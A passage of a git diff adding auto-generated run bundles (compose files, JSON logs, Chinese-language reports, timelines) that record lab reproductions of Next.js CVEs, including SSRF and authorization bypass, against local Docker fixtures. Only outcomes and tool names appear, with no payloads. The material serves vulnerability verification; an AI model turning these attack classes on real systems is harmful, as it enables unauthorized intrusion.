`/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/compose/compose.yaml` +- 服务列表: `app` + +## 攻击步骤 + +| 工具/步骤 | 状态 | 结果 | +|-----------|------|------| +| `nextjs.proxy-boundary` | `completed` | `/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/attack.json` | + +## 证据摘要 + +- Baseline: `1` +- 攻击步骤: `1` +- 浏览器证据: `10` +- 容器日志: `1` +- 请求日志: `2` + +## 浏览器截图 + +![baseline](assets/baseline.png) +![proof](assets/proof.png) + +## 浏览器证据 + +- `assets/baseline.png` +- `assets/baseline-dom.html` +- `logs/baseline-console.json` +- `logs/baseline-network.json` +- `logs/baseline-page.json` +- `assets/proof.png` +- `assets/proof-dom.html` +- `logs/proof-console.json` +- `logs/proof-network.json` +- `logs/proof-page.json` + +## 容器日志 + +- `logs/docker/app.log` + +## 请求与基线日志 + +- `logs/attack.json` +- `logs/baseline.json` + +## 最小化验证说明 + +- 仅限自有资产、本地靶场或已授权实验目标。 +- 默认执行 minimal-proof;不会把破坏性或不可回滚动作作为默认路径。 +- 若浏览器证据缺失,前端类案例不会被标为 `verified-*`。 diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/run.json b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/run.json new file mode 100644 index 00000000..1772d035 --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/run.json @@ -0,0 +1,197 @@ +{ + "run_id": "nextjs-nextjs--CVE-2020-15242-20260318012830", + "system_id": "nextjs", + "advisory_id": "nextjs--CVE-2020-15242", + "repro_profile_id": "nextjs-proxy-boundary", + "verification_status": "verified-real", + "verification_mode": "real", + "artifact_mode": "local-fixture", + "target_env": "local-docker", + "compose_services": [ + "app" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline.json" + ], + "attack_steps": [ + { + "kind": "runner", + "tool": "nextjs.proxy-boundary", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/attack.json" + } + ], + "browser_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-page.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-page.json" + ], + "browser_evidence": { + "required": true, + "present": true, + "refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-page.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-page.json" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-page.json" + ], + "proof_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-page.json" + ], + "baseline_title": "Next.js Proxy Boundary Fixture", + "proof_title": "Next.js Proxy Boundary Fixture - proof", + "error_kind": null, + "reason": null + }, + "container_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/docker/app.log" + ], + "request_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/attack.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline.json" + ], + "compose_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/compose/compose.yaml" + ], + "timeline": [ + { + "at": "2026-03-18T01:28:30+00:00", + "step": "select-advisory", + "status": "completed", + "detail": "nextjs--CVE-2020-15242" + }, + { + "at": "2026-03-18T01:28:30+00:00", + "step": "resolve-repro-profile", + "status": "completed", + "detail": "nextjs-proxy-boundary" + }, + { + "at": "2026-03-18T01:28:31+00:00", + "step": "doctor", + "status": "completed", + "detail": "all checks passed" + }, + { + "at": "2026-03-18T01:28:34+00:00", + "step": "provision-compose-environment", + "status": "ready", + "detail": "" + }, + { + "at": "2026-03-18T01:28:34+00:00", + "step": "wait-ready", + "status": "completed", + "detail": "baseline urls ready (1)" + }, + { + "at": "2026-03-18T01:28:34+00:00", + "step": "seed-environment", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:28:34+00:00", + "step": "baseline-snapshot", + "status": "completed", + "detail": "urls=1" + }, + { + "at": "2026-03-18T01:28:34+00:00", + "step": "browser-replay-before-attack", + "status": "completed", + "detail": "" + }, + { + "at": "2026-03-18T01:28:34+00:00", + "step": "controlled-attack-chain", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:28:35+00:00", + "step": "browser-replay-after-attack", + "status": "completed", + "detail": "" + }, + { + "at": "2026-03-18T01:28:35+00:00", + "step": "collect-logs-and-evidence", + "status": "completed", + "detail": "container_logs=1" + }, + { + "at": "2026-03-18T01:28:37+00:00", + "step": "cleanup-compose-environment", + "status": "completed", + "detail": "docker compose down completed" + }, + { + "at": "2026-03-18T01:28:37+00:00", + "step": "update-registry-and-reports", + "status": "completed", + "detail": "nextjs-nextjs--CVE-2020-15242-20260318012830" + } + ], + "success_evaluation": { + "passed": true, + "verification_status": "verified-real", + "blocked_reason": null, + "assertions": [ + { + "name": "baseline-ok", + "kind": "baseline-ok", + "passed": true, + "detail": "baseline URLs responded without 5xx or transport errors" + }, + { + "name": "runner-success", + "kind": "runner-success", + "passed": true, + "detail": "trusted forwarded headers crossed the boundary" + }, + { + "name": "browser-present", + "kind": "browser-present", + "passed": true, + "detail": "browser evidence captured" + } + ] + }, + "historical_status": "verified-real", + "latest_status": "verified-real", + "started_at": "2026-03-18T01:28:30+00:00", + "finished_at": "2026-03-18T01:28:37+00:00", + "blocked_reason": null, + "report_refs": { + "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830", + "report_md": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/report.md", + "report_html": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/report.html", + "timeline": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/timeline.mmd" + } +} diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/timeline.mmd b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/timeline.mmd new file mode 100644 index 00000000..71155437 --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/timeline.mmd @@ -0,0 +1,8 @@ +flowchart LR +A["选择 Advisory"] --> B["解析 Repro Profile"] +B --> C["生成 Compose 环境"] +C --> D["采集基线快照"] +D --> E["执行受控攻击步骤"] +E --> F["浏览器回放验证"] +F --> G["收集日志与证据"] +G --> H["回写 Registry 与报告"] diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/compose/compose.yaml b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/compose/compose.yaml new file mode 100644 index 00000000..193d95e3 --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/compose/compose.yaml @@ -0,0 +1,26 @@ +services: + app: + image: node:22-alpine + networks: + - labnet + ports: + - 18203:3000 + environment: + LAB_FIXTURE_SCENARIO: /workspace/00-environments/templates/fixtures/nextjs/ssrf/scenario.json + PORT: '3000' + command: + - node + - /workspace/00-environments/templates/fixtures/shared/node_fixture.mjs + working_dir: /workspace + volumes: + - /Users/x/websafe:/workspace:ro + healthcheck: + test: + - CMD-SHELL + - wget -q -O - http://127.0.0.1:3000/healthz >/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +networks: + labnet: + driver: bridge diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/attack.json b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/attack.json new file mode 100644 index 00000000..c12b5b47 --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/attack.json @@ -0,0 +1,57 @@ +{ + "steps": [ + { + "kind": "runner", + "tool": "nextjs.ssrf", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/attack.json" + } + ], + "success": true, + "detail": "server-side callback reached the local sink", + "before": {}, + "attack": { + "status_code": 200, + "ok": true, + "body": { + "ok": true, + "detail": "server-side callback reached the local sink", + "case_id": "nextjs--CVE-2024-34351" + } + }, + "after": {}, + "proof": { + "status_code": 200, + "ok": true, + "body": { + "success": true, + "detail": "server-side callback reached the local sink", + "case_id": "nextjs--CVE-2024-34351", + "sink_hits": 1, + "uploads": [], + "events": [ + { + "event": "seed", + "detail": "nextjs--CVE-2024-34351" + }, + { + "event": "sink-hit", + "detail": "case_id=nextjs--CVE-2024-34351" + }, + { + "event": "attack", + "detail": "server-side callback reached the local sink" + } + ] + } + }, + "assertions": [ + { + "name": "proof-success", + "kind": "runner-proof", + "passed": true, + "detail": "server-side callback reached the local sink" + } + ] +} diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/baseline.json b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/baseline.json new file mode 100644 index 00000000..e55c4159 --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/baseline.json @@ -0,0 +1,25 @@ +{ + "observations": [ + { + "url": "http://127.0.0.1:18203/", + "status_code": 200, + "headers": { + "content-type": "text/html; charset=utf-8", + "content-length": "990", + "Date": "Wed, 18 Mar 2026 01:29:56 GMT", + "Connection": "keep-alive", + "Keep-Alive": "timeout=5" + }, + "body_excerpt": "\n\n\n \n \n Next.js SSRF Fixture\n + +

    运行 nextjs-nextjs--CVE-2024-34351-20260318012953

    +
    +
    漏洞条目
    nextjs--CVE-2024-34351
    +
    实证状态
    verified-real
    +
    复现 Profile
    nextjs-ssrf
    +
    Artifact 模式
    local-fixture
    +
    +

    Mermaid 时间线

    +
    flowchart LR
    +A["选择 Advisory"] --> B["解析 Repro Profile"]
    +B --> C["生成 Compose 环境"]
    +C --> D["采集基线快照"]
    +D --> E["执行受控攻击步骤"]
    +E --> F["浏览器回放验证"]
    +F --> G["收集日志与证据"]
    +G --> H["回写 Registry 与报告"]
    +

    运行时间线

    + + + + + + + + + + + + +
    时间步骤状态说明
    2026-03-18T01:29:53+00:00select-advisorycompletednextjs--CVE-2024-34351
    2026-03-18T01:29:53+00:00resolve-repro-profilecompletednextjs-ssrf
    2026-03-18T01:29:53+00:00doctorcompletedall checks passed
    2026-03-18T01:29:56+00:00provision-compose-environmentready-
    2026-03-18T01:29:56+00:00wait-readycompletedbaseline urls ready (1)
    2026-03-18T01:29:56+00:00seed-environmentcompletedsteps=1
    2026-03-18T01:29:56+00:00baseline-snapshotcompletedurls=1
    2026-03-18T01:29:56+00:00controlled-attack-chaincompletedsteps=1
    2026-03-18T01:29:56+00:00collect-logs-and-evidencecompletedcontainer_logs=1
    2026-03-18T01:29:57+00:00cleanup-compose-environmentcompleteddocker compose down completed
    2026-03-18T01:29:57+00:00update-registry-and-reportscompletednextjs-nextjs--CVE-2024-34351-20260318012953
    +

    攻击步骤

    + + +
    工具状态输出
    nextjs.ssrfcompleted/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/attack.json
    +

    证据清单

      +
    • compose/compose.yaml
    • +
    • logs/docker/app.log
    • +
    • logs/attack.json
    • +
    • logs/baseline.json
    • +
    + diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/report.md b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/report.md new file mode 100644 index 00000000..72037d01 --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/report.md @@ -0,0 +1,66 @@ +# 运行 nextjs-nextjs--CVE-2024-34351-20260318012953 + +> `LAB ONLY` | `AUTHORIZED TARGETS ONLY` | 自动生成 run bundle + +- 漏洞条目: `nextjs--CVE-2024-34351` +- 系统: `nextjs` +- Repro Profile: `nextjs-ssrf` +- 实证状态: `verified-real` +- 实证方式: `real` +- Artifact 模式: `local-fixture` +- 启动时间: `2026-03-18T01:29:53+00:00` +- 完成时间: `2026-03-18T01:29:57+00:00` +- 阻塞原因: `-` +- Compose 服务: `app` + +## 运行时间线 + +- Mermaid: [timeline.mmd](/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/timeline.mmd) + +| 时间 | 步骤 | 状态 | 说明 | +|------|------|------|------| +| `2026-03-18T01:29:53+00:00` | `select-advisory` | `completed` | nextjs--CVE-2024-34351 | +| `2026-03-18T01:29:53+00:00` | `resolve-repro-profile` | `completed` | nextjs-ssrf | +| `2026-03-18T01:29:53+00:00` | `doctor` | `completed` | all checks passed | +| `2026-03-18T01:29:56+00:00` | `provision-compose-environment` | `ready` | - | +| `2026-03-18T01:29:56+00:00` | `wait-ready` | `completed` | baseline urls ready (1) | +| `2026-03-18T01:29:56+00:00` | `seed-environment` | `completed` | steps=1 | +| `2026-03-18T01:29:56+00:00` | `baseline-snapshot` | `completed` | urls=1 | +| `2026-03-18T01:29:56+00:00` | `controlled-attack-chain` | `completed` | steps=1 | +| `2026-03-18T01:29:56+00:00` | `collect-logs-and-evidence` | `completed` | container_logs=1 | +| `2026-03-18T01:29:57+00:00` | `cleanup-compose-environment` | `completed` | docker compose down completed | +| `2026-03-18T01:29:57+00:00` | `update-registry-and-reports` | `completed` | nextjs-nextjs--CVE-2024-34351-20260318012953 | + +## Compose 拓扑 + +- Compose 文件: `/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/compose/compose.yaml` +- 服务列表: `app` + +## 攻击步骤 + +| 工具/步骤 | 状态 | 结果 | +|-----------|------|------| +| `nextjs.ssrf` | `completed` | `/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/attack.json` | + +## 证据摘要 + +- Baseline: `1` +- 攻击步骤: `1` +- 浏览器证据: `0` +- 容器日志: `1` +- 请求日志: `2` + +## 容器日志 + +- `logs/docker/app.log` + +## 请求与基线日志 + +- `logs/attack.json` +- `logs/baseline.json` + +## 最小化验证说明 + +- 仅限自有资产、本地靶场或已授权实验目标。 +- 默认执行 minimal-proof;不会把破坏性或不可回滚动作作为默认路径。 +- 若浏览器证据缺失,前端类案例不会被标为 `verified-*`。 diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/run.json b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/run.json new file mode 100644 index 00000000..aa0cf021 --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/run.json @@ -0,0 +1,145 @@ +{ + "run_id": "nextjs-nextjs--CVE-2024-34351-20260318012953", + "system_id": "nextjs", + "advisory_id": "nextjs--CVE-2024-34351", + "repro_profile_id": "nextjs-ssrf", + "verification_status": "verified-real", + "verification_mode": "real", + "artifact_mode": "local-fixture", + "target_env": "local-docker", + "compose_services": [ + "app" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/baseline.json" + ], + "attack_steps": [ + { + "kind": "runner", + "tool": "nextjs.ssrf", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/attack.json" + } + ], + "browser_refs": [], + "browser_evidence": { + "required": false, + "present": false, + "refs": [], + "baseline_refs": [], + "proof_refs": [], + "baseline_title": null, + "proof_title": null, + "error_kind": null, + "reason": null + }, + "container_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/docker/app.log" + ], + "request_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/attack.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/baseline.json" + ], + "compose_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/compose/compose.yaml" + ], + "timeline": [ + { + "at": "2026-03-18T01:29:53+00:00", + "step": "select-advisory", + "status": "completed", + "detail": "nextjs--CVE-2024-34351" + }, + { + "at": "2026-03-18T01:29:53+00:00", + "step": "resolve-repro-profile", + "status": "completed", + "detail": "nextjs-ssrf" + }, + { + "at": "2026-03-18T01:29:53+00:00", + "step": "doctor", + "status": "completed", + "detail": "all checks passed" + }, + { + "at": "2026-03-18T01:29:56+00:00", + "step": "provision-compose-environment", + "status": "ready", + "detail": "" + }, + { + "at": "2026-03-18T01:29:56+00:00", + "step": "wait-ready", + "status": "completed", + "detail": "baseline urls ready (1)" + }, + { + "at": "2026-03-18T01:29:56+00:00", + "step": "seed-environment", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:29:56+00:00", + "step": "baseline-snapshot", + "status": "completed", + "detail": "urls=1" + }, + { + "at": "2026-03-18T01:29:56+00:00", + "step": "controlled-attack-chain", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:29:56+00:00", + "step": "collect-logs-and-evidence", + "status": "completed", + "detail": "container_logs=1" + }, + { + "at": "2026-03-18T01:29:57+00:00", + "step": "cleanup-compose-environment", + "status": "completed", + "detail": "docker compose down completed" + }, + { + "at": "2026-03-18T01:29:57+00:00", + "step": "update-registry-and-reports", + "status": "completed", + "detail": "nextjs-nextjs--CVE-2024-34351-20260318012953" + } + ], + "success_evaluation": { + "passed": true, + "verification_status": "verified-real", + "blocked_reason": null, + "assertions": [ + { + "name": "baseline-ok", + "kind": "baseline-ok", + "passed": true, + "detail": "baseline URLs responded without 5xx or transport errors" + }, + { + "name": "runner-success", + "kind": "runner-success", + "passed": true, + "detail": "server-side callback reached the local sink" + } + ] + }, + "historical_status": "verified-real", + "latest_status": "verified-real", + "started_at": "2026-03-18T01:29:53+00:00", + "finished_at": "2026-03-18T01:29:57+00:00", + "blocked_reason": null, + "report_refs": { + "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953", + "report_md": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/report.md", + "report_html": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/report.html", + "timeline": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/timeline.mmd" + } +} diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/timeline.mmd b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/timeline.mmd new file mode 100644 index 00000000..71155437 --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/timeline.mmd @@ -0,0 +1,8 @@ +flowchart LR +A["选择 Advisory"] --> B["解析 Repro Profile"] +B --> C["生成 Compose 环境"] +C --> D["采集基线快照"] +D --> E["执行受控攻击步骤"] +E --> F["浏览器回放验证"] +F --> G["收集日志与证据"] +G --> H["回写 Registry 与报告"] diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/compose/compose.yaml b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/compose/compose.yaml new file mode 100644 index 00000000..d923dab8 --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/compose/compose.yaml @@ -0,0 +1,26 @@ +services: + app: + image: node:22-alpine + networks: + - labnet + ports: + - 18202:3000 + environment: + LAB_FIXTURE_SCENARIO: /workspace/00-environments/templates/fixtures/nextjs/authz-bypass/scenario.json + PORT: '3000' + command: + - node + - /workspace/00-environments/templates/fixtures/shared/node_fixture.mjs + working_dir: /workspace + volumes: + - /Users/x/websafe:/workspace:ro + healthcheck: + test: + - CMD-SHELL + - wget -q -O - http://127.0.0.1:3000/healthz >/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +networks: + labnet: + driver: bridge diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/attack.json b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/attack.json new file mode 100644 index 00000000..a59f90aa --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/attack.json @@ -0,0 +1,68 @@ +{ + "steps": [ + { + "kind": "runner", + "tool": "nextjs.authz-bypass", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/attack.json" + } + ], + "success": true, + "detail": "server-side authorization recheck was bypassed", + "before": { + "status_code": 403, + "ok": false, + "body": { + "ok": false, + "detail": "admin boundary still enforced" + } + }, + "attack": { + "status_code": 200, + "ok": true, + "body": { + "ok": true, + "detail": "server-side authorization recheck was bypassed", + "case_id": "nextjs--CVE-2024-51479" + } + }, + "after": { + "status_code": 200, + "ok": true, + "body": { + "ok": true, + "detail": "server-side authorization recheck was bypassed", + "case_id": "nextjs--CVE-2024-51479" + } + }, + "proof": { + "status_code": 200, + "ok": true, + "body": { + "success": true, + "detail": "server-side authorization recheck was bypassed", + "case_id": "nextjs--CVE-2024-51479", + "sink_hits": 0, + "uploads": [], + "events": [ + { + "event": "seed", + "detail": "nextjs--CVE-2024-51479" + }, + { + "event": "attack", + "detail": "server-side authorization recheck was bypassed" + } + ] + } + }, + "assertions": [ + { + "name": "proof-success", + "kind": "runner-proof", + "passed": true, + "detail": "server-side authorization recheck was bypassed" + } + ] +} diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/baseline.json b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/baseline.json new file mode 100644 index 00000000..13cabdce --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/baseline.json @@ -0,0 +1,25 @@ +{ + "observations": [ + { + "url": "http://127.0.0.1:18202/", + "status_code": 200, + "headers": { + "content-type": "text/html; charset=utf-8", + "content-length": "1005", + "Date": "Wed, 18 Mar 2026 01:29:16 GMT", + "Connection": "keep-alive", + "Keep-Alive": "timeout=5" + }, + "body_excerpt": "\n\n\n \n \n Next.js Authz Bypass Fixture\n + +

    运行 nextjs-nextjs--CVE-2024-51479-20260318012913

    +
    +
    漏洞条目
    nextjs--CVE-2024-51479
    +
    实证状态
    verified-real
    +
    复现 Profile
    nextjs-authz-bypass
    +
    Artifact 模式
    local-fixture
    +
    +

    Mermaid 时间线

    +
    flowchart LR
    +A["选择 Advisory"] --> B["解析 Repro Profile"]
    +B --> C["生成 Compose 环境"]
    +C --> D["采集基线快照"]
    +D --> E["执行受控攻击步骤"]
    +E --> F["浏览器回放验证"]
    +F --> G["收集日志与证据"]
    +G --> H["回写 Registry 与报告"]
    +

    运行时间线

    + + + + + + + + + + + + +
    时间步骤状态说明
    2026-03-18T01:29:13+00:00select-advisorycompletednextjs--CVE-2024-51479
    2026-03-18T01:29:13+00:00resolve-repro-profilecompletednextjs-authz-bypass
    2026-03-18T01:29:13+00:00doctorcompletedall checks passed
    2026-03-18T01:29:16+00:00provision-compose-environmentready-
    2026-03-18T01:29:16+00:00wait-readycompletedbaseline urls ready (1)
    2026-03-18T01:29:16+00:00seed-environmentcompletedsteps=1
    2026-03-18T01:29:16+00:00baseline-snapshotcompletedurls=1
    2026-03-18T01:29:16+00:00controlled-attack-chaincompletedsteps=1
    2026-03-18T01:29:16+00:00collect-logs-and-evidencecompletedcontainer_logs=1
    2026-03-18T01:29:17+00:00cleanup-compose-environmentcompleteddocker compose down completed
    2026-03-18T01:29:17+00:00update-registry-and-reportscompletednextjs-nextjs--CVE-2024-51479-20260318012913
    +

    攻击步骤

    + + +
    工具状态输出
    nextjs.authz-bypasscompleted/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/attack.json
    +

    证据清单

      +
    • compose/compose.yaml
    • +
    • logs/docker/app.log
    • +
    • logs/attack.json
    • +
    • logs/baseline.json
    • +
    + diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/report.md b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/report.md new file mode 100644 index 00000000..a090579a --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/report.md @@ -0,0 +1,66 @@ +# 运行 nextjs-nextjs--CVE-2024-51479-20260318012913 + +> `LAB ONLY` | `AUTHORIZED TARGETS ONLY` | 自动生成 run bundle + +- 漏洞条目: `nextjs--CVE-2024-51479` +- 系统: `nextjs` +- Repro Profile: `nextjs-authz-bypass` +- 实证状态: `verified-real` +- 实证方式: `real` +- Artifact 模式: `local-fixture` +- 启动时间: `2026-03-18T01:29:13+00:00` +- 完成时间: `2026-03-18T01:29:17+00:00` +- 阻塞原因: `-` +- Compose 服务: `app` + +## 运行时间线 + +- Mermaid: [timeline.mmd](/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/timeline.mmd) + +| 时间 | 步骤 | 状态 | 说明 | +|------|------|------|------| +| `2026-03-18T01:29:13+00:00` | `select-advisory` | `completed` | nextjs--CVE-2024-51479 | +| `2026-03-18T01:29:13+00:00` | `resolve-repro-profile` | `completed` | nextjs-authz-bypass | +| `2026-03-18T01:29:13+00:00` | `doctor` | `completed` | all checks passed | +| `2026-03-18T01:29:16+00:00` | `provision-compose-environment` | `ready` | - | +| `2026-03-18T01:29:16+00:00` | `wait-ready` | `completed` | baseline urls ready (1) | +| `2026-03-18T01:29:16+00:00` | `seed-environment` | `completed` | steps=1 | +| `2026-03-18T01:29:16+00:00` | `baseline-snapshot` | `completed` | urls=1 